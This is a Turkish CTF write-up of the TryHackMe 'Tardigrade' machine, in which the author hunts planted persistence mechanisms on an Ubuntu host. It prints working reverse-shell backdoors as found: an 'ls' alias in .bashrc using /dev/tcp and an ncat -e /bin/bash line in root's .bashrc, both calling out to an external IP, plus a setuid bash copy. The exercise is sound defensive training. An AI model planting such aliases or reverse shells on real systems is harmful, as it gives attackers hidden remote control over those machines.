Table of Contents
Merhabalar, bu yazımda sizlere TryHackMe platformunda bulunan “Tardigrade” isimli makinenin çözümü anlatacağım. Keyifli Okumalar…
Çözüm
1 — “giorgio:armani” bilgileri ile SSH servisine bağlanıyorum.
[root:/home/alper/Desktop/TRYHACKME]# ssh giorgio@10.10.125.87
*
*
*
giorgio@giorgio:~$ ls
2 — “lsb_release” komutu ile işletim sistemi versiyonunu öğreniyorum.
giorgio@giorgio:~$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 20.04.4 LTS <---
Release: 20.04
Codename: focal
3 — Sorular;
a) tüm dosyaları listelediğim zaman “.bad_bash” adında bir dosya buluyorum.
giorgio@giorgio:~$ ls -la
total 1200
drwxr-xr-x 4 giorgio giorgio 4096 Apr 13 2022 .
drwxr-xr-x 3 root root 4096 Apr 13 2022 ..
-rwsr-xr-x 1 root root 1183448 Apr 13 2022 .bad_bash <—
-rw——- 1 giorgio giorgio 0 Jun 10 09:41 .bash_history
-rw-r–r– 1 giorgio giorgio 220 Feb 25 2020 .bash_logout
-rw-r–r– 1 giorgio giorgio 3897 Apr 13 2022 .bashrc
drwx—— 2 giorgio giorgio 4096 Apr 13 2022 .cache
-rw-r–r– 1 giorgio giorgio 807 Feb 25 2020 .profile
-rw-rw-r– 1 giorgio giorgio 75 Apr 13 2022 .selected_editor
drwx—— 2 giorgio giorgio 4096 Apr 13 2022 .ssh
-rw-r–r– 1 giorgio giorgio 0 Apr 13 2022 .sudo_as_admin_successful
-rw——- 1 giorgio giorgio 10111 Apr 13 2022 .viminfo
b) “.bashrc” dosyasını incelediğimda, “ls” adında içine reverse shell yerleştirilmiş bir alias buluyorum.
giorgio@giorgio:~$ cat .bashrc
*
*
alias ls='(bash -i >& /dev/tcp/172.10.6.9/6969 0>&1 & disown) 2>/dev/null; ls --color=auto'
*
c) cron tablosunu incelediğimde bir unix reverse shell buluyorum.
giorgio@giorgio:~$ crontab -e
4 — “sudo -l” komutunu çalıştırdığım zaman şifresiz bir şekilde root olabileceğimi görüyorum.
giorgio@giorgio:~$ sudo -l
[sudo] password for giorgio:
Matching Defaults entries for giorgio on giorgio:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User giorgio may run the following commands on giorgio:
(ALL : ALL) ALL
giorgio@giorgio:~$ sudo su
5 — root kullanıcısının “.bashrc” dosyasını incelediğimde bir netcal reverse shell buluyorum.
root@giorgio:/home/giorgio# cat /root/.bashrc
*
*
ncat -e /bin/bash 172.10.6.9 6969 &
6 — Biraz bekledikten sonra bir hata mesajı ile karşılaşıyorum.
root@giorgio:/home/giorgio# Ncat: TIMEOUT.
[1]+ Exit 1 ncat -e /bin/bash 172.10.6.9 6969
7 — Kök dizinde “nonexistent” adında bir dizin buluyorum. İçerisinde “.youfoundme” adında bir dosya görüyorum. Dosyayı okuduğum zaman ikinci bayrağı elde ediyorum.
root@giorgio:/home/giorgio# ls /
bin boot dev etc home lib lib32 lib64 libx32 lost+found media mnt nonexistent opt proc root run sbin snap srv swap.img sys tmp usr var
root@giorgio:/home/giorgio# ls /nonexistent
root@giorgio:/home/giorgio# ls -la /nonexistent
total 24
drwxr-xr-x 3 nobody root 4096 Apr 13 2022 .
drwxr-xr-x 20 root root 4096 Apr 13 2022 ..
-rw------- 1 nobody root 127 Apr 13 2022 .bash_history
drwx------ 2 nobody root 4096 Apr 13 2022 .cache
-rw------- 1 nobody root 747 Apr 13 2022 .viminfo
-rw-r--r-- 1 nobody root 20 Apr 13 2022 .youfoundme
root@giorgio:/home/giorgio# cat /nonexistent/.youfoundme
*CENSORED*